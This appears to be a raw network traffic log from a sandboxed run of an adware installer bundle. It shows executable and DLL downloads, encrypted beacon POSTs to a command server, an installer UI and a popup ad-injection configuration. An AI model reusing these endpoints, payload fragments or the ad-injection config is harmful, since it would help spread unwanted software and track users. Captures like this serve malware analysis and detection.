User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36
Host: check.getipintel.net
Connection: Keep-Alive
HTTP/1.1 400 Bad Request
Date: Tue, 19 Apr 2016 21:30:28 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
Set-Cookie: __cfduid=d87ea9b8d4557c91321ed9b65ddf758421461101427; expires=Wed, 19-Apr-17 21:30:27 GMT; path=/; domain=.getipintel.net; HttpOnly
X-Powered-By: PHP/5.4.45-0 deb7u2
Server: cloudflare-nginx
CF-RAY: 29637532b5932ab5-WAW
2..-5..0..HTTP/1.1 400 Bad Request..Date: Tue, 19 Apr 2016 21:30:28 GMT..Content-Type: text/html..Transfer-Encoding: chunked..Connection: keep-alive..Set-Cookie: __cfduid=d87ea9b8d4557c91321ed9b65ddf758421461101427; expires=Wed, 19-Apr-17 21:30:27 GMT; path=/; domain=.getipintel.net; HttpOnly..X-Powered-By: PHP/5.4.45-0 deb7u2..Server: cloudflare-nginx..CF-RAY: 29637532b5932ab5-WAW..2..-5..0..
GET /8c/JFileManagerSetup.exe HTTP/1.1
Accept: */*
Proxy-Authorization: Basic
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36
Host: dybraso4svbl2.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache
HTTP/1.1 200 OK
Content-Type: application/octet-stream
Content-Length: 2229214
Connection: keep-alive
Date: Tue, 19 Apr 2016 12:19:10 GMT
Last-Modified: Tue, 12 Apr 2016 12:07:07 GMT
ETag: "ca04007495aae5057da274a53a338ddc"
Accept-Ranges: bytes
Server: AmazonS3
Age: 33089
X-Cache: Hit from cloudfront
Via: 1.1 fa9c1b753397f77263517fcc9fcbad17.cloudfront.net (CloudFront)
X-Amz-Cf-Id: Wresv7yt9s-ul-NLfRU46yS-e_csVgytcT9io5Y0FWqBKVtyr9e5Kg==
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..iu..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i........................PE..L......K.................\..........<2.......p....@..........................................................................s.......................................................................................p...............................text...ZZ.......\.................. ..`.rdata.......p.......`..............@..@.data................r..............@....ndata.......@...........................rsrc................v..............@..@........................................................................................................................................................................................................................................................................................................................................................................U....\.}..t .}.F.E.u..H.....>B..H.P.u..u..u...Hr@..B...SV.5.>B..E.WP.u...Lr@..e...E..E.P.u...Pr@..}..e....Dp@........FR..VV..U... M.......M....3.....FQ.....NU..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u...Tr@..u....E..9}...w....~X.te.v4..Lp@....E.tU.}.j.W.E......E.......Pp@..vXW..Tp@..u..5Xp@.W...E..E.h ...Pj.h.6B.W..Xr@..u.W...u....E.P.u...\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i......D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..
<<< skipped >>>
GET /maxpower-static/templates/2014/11/71be70f4-73cf-11e4-b71d-06a3579b0dab/css/images/loading-install.gif HTTP/1.1
Accept: */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: api.playerfilemagno.com
Connection: Keep-Alive
HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Type: image/gif
Date: Tue, 19 Apr 2016 21:30:37 GMT
ETag: "54f07a03-1ef8"
Last-Modified: Fri, 27 Feb 2015 14:06:59 GMT
Server: nginx
Content-Length: 7928
Connection: keep-alive
GIF89a..........DCD...:::.........qqq............555...zzziii}}}...............aaaQQQeee...%%%.........VVV...lll...............,,,...YYY...)))...uuuJJJNNN!"!...]]]...101.................................\[\.........#$#KLK.../0/KKK[\[`_`...GGG'''...???............///......ccc...sssddd```...###.........SSS...777...VVV...888...xxx...............{|{{{{ghg............kmk444XXX......OOOWWW...222...333!..NETSCAPE2.0.....!..XMP DataXMP<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Macintosh)" xmpMM:InstanceID="xmp.iid:C7B15D6E6C0511E4901AB7B77D879212" xmpMM:DocumentID="xmp.did:C7B15D6F6C0511E4901AB7B77D879212"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:C7B15D6C6C0511E4901AB7B77D879212" stRef:documentID="xmp.did:C7B15D6D6C0511E4901AB7B77D879212"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..................................................................................................................................~}|{zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-, *)('&%$#"! .................................!.....
<<< skipped >>>
GET /maxpower-static/templates/2014/11/71be70f4-73cf-11e4-b71d-06a3579b0dab/css/images/loadingBar.gif HTTP/1.1
Accept: */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: api.playerfilemagno.com
Connection: Keep-Alive
HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Type: image/gif
Date: Tue, 19 Apr 2016 21:30:37 GMT
ETag: "54f07a05-12d72"
Last-Modified: Fri, 27 Feb 2015 14:07:01 GMT
Server: nginx
Content-Length: 77170
Connection: keep-alive
GIF89a|..............................c........"..y..4.....H.....i...../..1..2.....M.....W...........v...........-..u........0..1.. ..... ........*.....!.....*.....,..{........z..s.....5........&.."..(..(..,..2..4..8..).. ..u..... ..$.....z..m...........*......../..*.....,...........4..".....%..'.. ..............%........(../..............!..............8.....&..3.....)..... ../........%..4.....!..NETSCAPE2.0.....!..XMP DataXMP<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Macintosh)" xmpMM:InstanceID="xmp.iid:C7B15D6A6C0511E4901AB7B77D879212" xmpMM:DocumentID="xmp.did:C7B15D6B6C0511E4901AB7B77D879212"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:C7B15D686C0511E4901AB7B77D879212" stRef:documentID="xmp.did:C7B15D696C0511E4901AB7B77D879212"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..................................................................................................................................~}|{zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-, *)('&%$#"! .................................!.....
<<< skipped >>>
GET / HTTP/1.1
Accept: */*
Proxy-Authorization: Basic
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36
Host: api.playerfilemagno.com
Connection: Keep-Alive
HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Type: text/html
Date: Tue, 19 Apr 2016 21:30:28 GMT
ETag: "5452135c-38"
Last-Modified: Thu, 30 Oct 2014 10:30:52 GMT
Server: nginx
Content-Length: 56
Connection: keep-alive
<html><head><title>ok</title></head><body></body></html>HTTP/1.1 200 OK..Accept-Ranges: bytes..Content-Type: text/html..Date: Tue, 19 Apr 2016 21:30:28 GMT..ETag: "5452135c-38"..Last-Modified: Thu, 30 Oct 2014 10:30:52 GMT..Server: nginx..Content-Length: 56..Connection: keep-alive..<html><head><title>ok</title></head><body></body></html>....
GET /8d0b5b2a40cea6c0758f02b51802727204cca35a493e929a56599d80edea796c75d77d600b20735d16699a1dd8c7e9c65d20e728cbcc4a032c39ea91bdde31df9cc7c27dd866313f677dcc1c3a34cf768369dfb6227a3c2287c5997fce75547bec35fa6946be0e57 HTTP/1.1
Accept: */*
Proxy-Authorization: Basic
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36
Host: api.playerfilemagno.com
Connection: Keep-Alive
HTTP/1.1 200 OK
Content-Type: text/html
Date: Tue, 19 Apr 2016 21:30:33 GMT
Server: nginx
transfer-encoding: chunked
Connection: keep-alive
224c..bab9a210861ae5de08188016bd2b78d1f8e9335958d89cf04a69351189479c116f8f87ae8d52b7fc0132ee35398ecc561d88e441899ae6fda65282bef2a465e5651747ff29606416501a991ddf88e06751bb1068692780150219df4bc8711542ff1417270bc5b32520f62727b90aaca46b2ad4e385f81c6844bc6161c30aea11499f844e5fbe7a8ccaf8b5b841e6ed1458fb62c7a2e61500071977e38628feba5fd1ec02d8765c394324cfd2a833f0dda1d2decd71310987791f2a0e993b13bbcb739301078ba7262fbf20b94860d242ced1a6d9a4656bd1466a91ac67dfd17420cf35c8699a3d6429c8aa6baef1926f84a07434bd447d918fde07ad1952207e665011b9a727353a886b1341d1c3cd73671b4d389614a9b62ff55da1bbc9bc7a607ef16d463f27b738c49456b06ac055c49df5f2686ff0578c447b5cb91405799618f355f3c8b8728a7db869937dc17f4c0ed18472e1b0bf73d54c75f0d7333ebcc29ba5b3896b080b3c0e19fdbd85d0810ff73d3f07b311d11c13a21bd36acdde1c36252ffb0328143422ddb2186702a993552e995d28dabb6cfc08ea6c5827b5244e7be8ec5915590c83c41bd34ec47c11bf025a6bb1ead6abf2a4582f7b82c6003120bab41dac4b1c1b41a64e784bddf67de0180b3cc9a1203fa1a48541f8df9f3ece96db4687e9ceef7ae44ffe06c7e95281eb11fc74bbfce67d11e481955e06cdb9f00f351eafd9b7d172ace12cdff0b4b90463643cf45304fdb9b895252a004859b793b9ebca59d781348d8f1de616c6adf6e5dcee67a15cbdb59c5878a602c94bc4444637e8bc3c8fe797bdcaec10ebb00f9f810a60615d4676c5cf620871d3668b62ad545d9c50cb87b0e34cf9d7e0a82ab70345e6673213b379d3d36ee610e6fce303c26e3ac9056968a614a8cb7758142b86602d6ac2c68d43d73e27ae3f704573577fc239b907dceb8211f6fd8d8d12c5e3be1955fed688546c32a5deb99a5d7aa402598951451b20c4488bff4ffa0c4dbee060fc6e111a48e97cef8e0a35860571b5398a549aa5b947377669ff8e151c898b3d6c9dd689
<<< skipped >>>
POST /55283fc807165575cc48d8a8e98c98f4c9cdc81121f68dfb9aa8b23c71e94875e4734836036aa5410b8c60f5194d153342b7e57b28612393 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36 1 R:-842150450
Host: api.playerfilemagno.com
Content-Length: 2630
Cache-Control: no-cache
cdata=86394263D6DED7AD3ED013DFEF7E64F6810202E9866DC605C250CECCD7CB22F9686417E27FE9F67D358BFE17ACB1D241180ECC39589A1933488922E01AA18B5990C77361D300FD3F93ED09E2CB744C97B804FC5436AE22A9F5722F00091BD76000B9B8EAF5890BC34CC270795D90185A0E59CBC1D6A7E94CECB6C8B8591A04A0E89D21943A2D3897FB5937D126B51DD5D12C9E469A35431AE29EF95DB60C53F5095D6E3AB9E9903761E19CC6805F0593EB84A3D93A9EAFF48938ACBB4E2440D2734DEF5E95C72E660861A1CEBCEBA5A2D89B79679F055082547E7CE8BAD2F03BBB169394E3A0610949045B27B7EC5745357F13FFEDC0D679D099670E2AE12B70508E6D9A8A627889FA840D929CC11A93D9807B572D406F0A8225EFCE333EB640581CD7A14C9FA30BD96BD2473507EC9E14BCCB1BAE668D0AB18741AFEB5AE234185E3CF2324B4E7E57A7E5FE30FB0FE864ACF8C28BCB1ECB2FBD35AC3836F4DB3293AE58F645DCAB1D95FB191524C548BDC5E9C64FBCF26B7042EB46EF3FBCBFEE89D0B2C6D78E81F5C09022B3D2811FE78241EA7A6DE400778BA3B0FB8827AC485E3618912C35993E26A0FA07E883EA1700E132D988F2FD642678E929C9285EF7DA4E03AABD1BD8F86DE21BC8E5C79854D63B1B8C16B246941267A09D2E224CB0209E4954354C66DD4F083A65878CF301C3BAD957CD6964C4ED2428B2840E8733F6E6BBA6E4B784208EE18ED6676D3A81D7E9242F13DC8A1732A1477CF8CFF909AC5CD877823116CC13F8D9AD6E4C11A88E64006B707D11C9F65205754CDBBD9CC7E1D62E18A4048BB79BFB5A70135
HTTP/1.1 200 OK
Content-Type: text/plain
Date: Tue, 19 Apr 2016 21:30:35 GMT
Server: nginx
Content-Length: 7
Connection: keep-alive
MAXTHX.....
GET /__maxpower__/render_template/2014/11/71be70f4-73cf-11e4-b71d-06a3579b0dab?language_code=en HTTP/1.1
Accept: */*
Proxy-Authorization: Basic
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36
Host: api.playerfilemagno.com
Connection: Keep-Alive
HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Language: en
Content-Type: text/html; charset=utf-8
Date: Tue, 19 Apr 2016 21:30:36 GMT
Server: nginx
Vary: Accept-Language
Content-Length: 2403
Connection: keep-alive
..<!--Template VideoUpdater-->..<div class="container">.<div class="videupdater">. <div class="minimize">. <ul>. <li><span id="_Bminimize" onclick="minimizeWindow();" class="button-min">-</span></li>. <li><span id="_Bexit" onclick="onExit()" class="button-min">x</span></li>. </ul>.</div>..<div id="_frameContainer" class="content">.. ..</div>...<!-- buttons -->.<div class="buttons">.. <!--botones derecha -->. . <input id="_Bnext" class="_Bnext grey right" buttonText="Next" tabindex="0" type="submit" value="Next »" onclick='onAccept();'>. .. <!--botones izquierda -->.. . <input id="_Bomit" class="_Bomit normal-close leftnowidth" tabindex="3" type="submit" name="nombre" value="Skip All" onclick='onOmit();'>. . . <input id="_Bdecline" class="_Bdecline normal-close leftnowidth" tabindex="1" type="submit" name="nombre" value="Decline" onclick='onDecline();'>. .. <div class="clear"></div>.</div>.. ..<div class="contact">. <div class="contact-in" style="height: 20px;">.. <ul>. <li><a target='_blank' class="first _TitPrivacy">Privacy Policy</a></li>. <li><a target='_blank' class="_TitSetup">Setup info</a></li>. <li><a target='_blank' class="_TitFree">Why is this free?</a></li>. <li><a target='_blank' class="_Ti
<<< skipped >>>
GET /__maxpower__/render_screen/2014/11/8b9c3fb4-73d0-11e4-925e-06a3579b0dab/screen_variation=videoUpdater HTTP/1.1
Accept: */*
Proxy-Authorization: Basic
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36
Host: api.playerfilemagno.com
Connection: Keep-Alive
HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Language: en
Content-Type: text/html; charset=utf-8
Date: Tue, 19 Apr 2016 21:30:36 GMT
Server: nginx
Vary: Accept-Language
Content-Length: 961
Connection: keep-alive
..<!--Intall Videoupdater-->..<div class="install">.. <h1>Installation Progress</h1>. . <p>This Download Manager will minimize to your system tray shortly to allow you to work on other items while your selections install. To restore this window, simply click on the icon in your system tray.</p>. . <div class="install-loading">. </div>. <div class="progress-bar">. <div class="_TotalProgressLevel progress-level" ></div> . </div>....<div class="clear" style="height:10px; display:block;"></div>. <div class="_ProgressInstallingText" style="display:none; text-align: center; margin-left: 45px; width: 422px;"><p>Installing ...</p></div>. . <div class="_ProgressText" style="display:none; margin-left: 33px;">. <p>Process: <span class="_ProgressTextDownloaded"></span> of <span class="_ProgressTextTotal"></span> (<span class="_ProgressTextPercentage"></span> %)</p>. </div>.. . .</div>.HTTP/1.1 200 OK..Accept-Ranges: bytes..Content-Language: en..Content-Type: text/html; charset=utf-8..Date: Tue, 19 Apr 2016 21:30:36 GMT..Server: nginx..Vary: Accept-Language..Content-Length: 961..Connection: keep-alive....<!--Intall Videoupdater-->..<div class="install">.. <h1>Installation Progress</h1>. . <p>This Download Manager will minimize to your system
<<< skipped >>>
GET /maxpower-static/templates/2014/11/71be70f4-73cf-11e4-b71d-06a3579b0dab/css/images/i-download.png HTTP/1.1
Accept: */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: api.playerfilemagno.com
Connection: Keep-Alive
HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Type: image/png
Date: Tue, 19 Apr 2016 21:30:37 GMT
ETag: "54f07a01-599"
Last-Modified: Fri, 27 Feb 2015 14:06:57 GMT
Server: nginx
Content-Length: 1433
Connection: keep-alive
.PNG........IHDR...*...*.....J.^.....tEXtSoftware.Adobe ImageReadyq.e<...$iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Macintosh)" xmpMM:InstanceID="xmp.iid:24FEED836BEF11E4901AB7B77D879212" xmpMM:DocumentID="xmp.did:24FEED846BEF11E4901AB7B77D879212"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:24FEED816BEF11E4901AB7B77D879212" stRef:documentID="xmp.did:24FEED826BEF11E4901AB7B77D879212"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>lW1.....IDATx.b|...0p..?.@....l...#...k.....!..T?.&..}_......{....`..?....{..z...'..a..C*....'V.....&VV"M...eWT...{..X...b..\\.M.LHP.:..0.v..9..?.>.W.......ax....X...MM.........~.xA.d....".nTT............/w..c,...!.....\T..;w.Z.......D.K......O....G.......E..$X.D...9..../......K..$...JD.CF_............>.......Lc.f.U.$.7.NqJK...".....|}.<|H.Qd.z...xTU.ll@I....II..^.T.......d.....98.>..w RNK.*....C.._.<..q.....mX.)...?..D.l!.{<...7o......\........W.....^.|,?..v.;p.B..B..r..d.~B.........X%....b-<..c {9.Im.O..........Z?l...v\. ...F.0_B.5....IEND.B`.....
<<< skipped >>>
GET /maxpower-static/templates/2014/11/71be70f4-73cf-11e4-b71d-06a3579b0dab/css/images/progress-bar.png HTTP/1.1
Accept: */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: api.playerfilemagno.com
Connection: Keep-Alive
HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Type: image/png
Date: Tue, 19 Apr 2016 21:30:37 GMT
ETag: "54f07a08-570"
Last-Modified: Fri, 27 Feb 2015 14:07:04 GMT
Server: nginx
Content-Length: 1392
Connection: keep-alive
.PNG........IHDR...|.........L.......tEXtSoftware.Adobe ImageReadyq.e<...$iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Macintosh)" xmpMM:InstanceID="xmp.iid:15582AE06BF411E4901AB7B77D879212" xmpMM:DocumentID="xmp.did:15582AE16BF411E4901AB7B77D879212"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:24FEED896BEF11E4901AB7B77D879212" stRef:documentID="xmp.did:24FEED8A6BEF11E4901AB7B77D879212"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>B.......IDATx...=..@.Ea~:52u.....,.g...e..<..l..F...|.E.....G....n..g......V..v.^.C..?... .........k..Bc.Y.V....._....E.(...T.eR...`yn..i.{t...-{tB..{\5......y..s..4kyn<=\5.KV:......u..l..QK.)z.n.........c......\....N.=EG..w..^.Xh......~....w...>..S.dy.H.$5.@.^o..........t...5.N|...>....3..H.....(.3..`Ft..........y..~8^...1OC..x....it&W@it..."..=^MV..WA.$.....W...D6.....v.y.......Pis..2.W:..^..........-.lx>P......3$CR...}.<..5*......f,vl]c.i...k...xN.|>o6......P......z..p8..cv.....o.....&..m.c....IEND.B`.....
<<< skipped >>>
GET /maxpower-static/templates/2014/11/71be70f4-73cf-11e4-b71d-06a3579b0dab/css/images/loadingBar.gif HTTP/1.1
Accept: */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: api.playerfilemagno.com
Connection: Keep-Alive
HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Type: image/gif
Date: Tue, 19 Apr 2016 21:30:39 GMT
ETag: "54f07a05-12d72"
Last-Modified: Fri, 27 Feb 2015 14:07:01 GMT
Server: nginx
Content-Length: 77170
Connection: keep-alive
GIF89a|..............................c........"..y..4.....H.....i...../..1..2.....M.....W...........v...........-..u........0..1.. ..... ........*.....!.....*.....,..{........z..s.....5........&.."..(..(..,..2..4..8..).. ..u..... ..$.....z..m...........*......../..*.....,...........4..".....%..'.. ..............%........(../..............!..............8.....&..3.....)..... ../........%..4.....!..NETSCAPE2.0.....!..XMP DataXMP<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Macintosh)" xmpMM:InstanceID="xmp.iid:C7B15D6A6C0511E4901AB7B77D879212" xmpMM:DocumentID="xmp.did:C7B15D6B6C0511E4901AB7B77D879212"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:C7B15D686C0511E4901AB7B77D879212" stRef:documentID="xmp.did:C7B15D696C0511E4901AB7B77D879212"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..................................................................................................................................~}|{zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-, *)('&%$#"! .................................!.....
<<< skipped >>>
POST /24bcdb6517d4e66177080e5d73d6b1858f26d23404bd9075e6a3edc8a993234bc4a865f4c7e33f78b04906be3ec6abaf8f0f791ad2dafd64 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36 2 R:-842150449
Host: api.playerfilemagno.com
Content-Length: 3142
Cache-Control: no-cache
cdata=86394263D6DED7AD3ED013DFEF7E64F6137A208FB1ABB3F74C63F2DAA19383D3FD1D608CEFC8325742961BFA23E787C053B8D6AD3DD461FCB0B26CE7A08C38A5D6DB823BE60CB284611998991028BE38C4EF69891E674B1B8B220BFB20BAD163FFEDA11648DD04F847C1B242EC415E48225CBBD8B904AF067D156766B526CCBE7C5A0D883E951EA5AD000DEB02A60D93678FFFE2322BC8AD739A7AB9B51737C7420E905D5A95F94DF0E36F22BDC30673F04DB707C22DF0D5D841635DB31D53EBBDBE070CF7B3488AB5702A2C720EE2F0B6CA39E8F5945C12FDA6C21F9B53972EF8B71667CA8047C1D5AEE58480329B599AFB99FA369C7B594376BA3B4B937EB6F9DB209A9AE5A8FC7FF2260F0BCCFDC134EBB3D49BC485F70482186B078195BD75E3D2FF798A35B8A4C4456257C24E7422A88521855E80F7D64C3F3F6B4A0759AEA86B2ACF9F9B967999F1296FB55C928FA7FC8D54191517E946FD8DF0D998339E80E1D0B1C61E58AE246E2030791A6EA7FCE2AFDAA3F483BB555D0E329942312751B5FAB84EBE581EB74523586524BAC145CDEB07066D0632313154593DD1181412E3F13766351682E51332893439A0BF5F2690AF75CC647BD73EA8C39FE2760A217AF115F5821D6777765348E7D8AFD5D0CEDBB60BB0815F8B6A93618D5987B5CCED139075DD1D07784E6CC02A03B323BDE2A3202C6E53E08D8540604B0752508C848A40E32A8C30C0E5784CA85AFECBE0936497B52B0581F55B15D5A062D856BA14447D3BAD111A42C5C845D5F593E3587B1CED337D750344EFC83EB4E112E327FDAEAD62523F0C3EF9F5ACC85A2
HTTP/1.1 200 OK
Content-Type: text/plain
Date: Tue, 19 Apr 2016 21:30:42 GMT
Server: nginx
Content-Length: 7
Connection: keep-alive
MAXTHX.HTTP/1.1 200 OK..Content-Type: text/plain..Date: Tue, 19 Apr 2016 21:30:42 GMT..Server: nginx..Content-Length: 7..Connection: keep-alive..MAXTHX...
GET /sdb/e0/WebBrowser.xml?527c2718-e98e-4766-8989-e126c2a28661 HTTP/1.1
Host: staticrr.fastplayerpro.com
Connection: Keep-Alive
HTTP/1.1 200 OK
Server: nginx
Date: Tue, 19 Apr 2016 21:31:04 GMT
Content-Type: text/xml
Content-Length: 4334
Last-Modified: Wed, 13 Jan 2016 11:17:51 GMT
Connection: keep-alive
ETag: "5696325f-10ee"
Accept-Ranges: bytes
<Popup>...<Version>1.0.0.10</Version>.. <Enabled>true</Enabled>...<Size height="768" width="1000"/>.. <FrecuencyPerHour>4</FrecuencyPerHour>.. <MaxWindows>4</MaxWindows>.. <LaunchDate>07/01/2015</LaunchDate>.. <Url container="popup">hXXp://redirect-wb.com/</Url>.. <UrlRedirect>hXXp://redirect-wb.com/</UrlRedirect>...<UrlNotAllowedCountries countries="AE,IR,IL,EG,CN,BA,RS,TH,IN,CZ,ID,VN,PH,PK" container="popup">hXXp://network.adsmarket.com/click/jGJunWecqZmOZnCXYcp6w4iQa5xgn36bi2SYm2Gif5mJkGqXXpt-lbdia5hhn3qX</UrlNotAllowedCountries>.. <UrlByRegister>....<Url container="browser" key="HKLM\SOFTWARE" priority="5"><![CDATA[hXXp://n149adserv.com/ads?key=8a35d9a5b93c671dcef88419ab81871b&width=0&height=0]]></Url>....<Url container="browser" key="HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\TeamSpeak 3 Client" priority="5"><![CDATA[hXXp://n149adserv.com/ads?key=0d8448124f556ffceee148f60ea374f6&width=0&height=0]]></Url>....<Url container="browser" key="HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\RaidCall" priority="5"><![CDATA[hXXp://n149adserv.com/ads?key=0d8448124f556ffceee148f60ea374f6&width=0&height=0]]></Url>....<Url container="browser" key="HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{EEB3F6BB-318D-4CE5-989F-8191FCBFB578}" priority="5"><![CDATA[hXXp://n149adserv.com/ads?key=0d844812
<<< skipped >>>
GET /msjava.dll HTTP/1.1
Accept: */*
Proxy-Authorization: Basic
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36
Host: d2d1m1wxb9yipl.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache
HTTP/1.1 200 OK
Content-Type: application/x-msdownload
Content-Length: 940304
Connection: keep-alive
Date: Tue, 19 Apr 2016 06:54:11 GMT
Last-Modified: Tue, 22 Mar 2016 16:49:18 GMT
ETag: "67986ec074b86590e110a76480f7da99"
Accept-Ranges: bytes
Server: AmazonS3
Age: 52578
X-Cache: Hit from cloudfront
Via: 1.1 dbf9786017ce18e598e331983c931691.cloudfront.net (CloudFront)
X-Amz-Cf-Id: yiMWaAvK7BDY17l4m276xwE3BPQz4ZE717TjfcLKpbmYpJb0tzkaDQ==
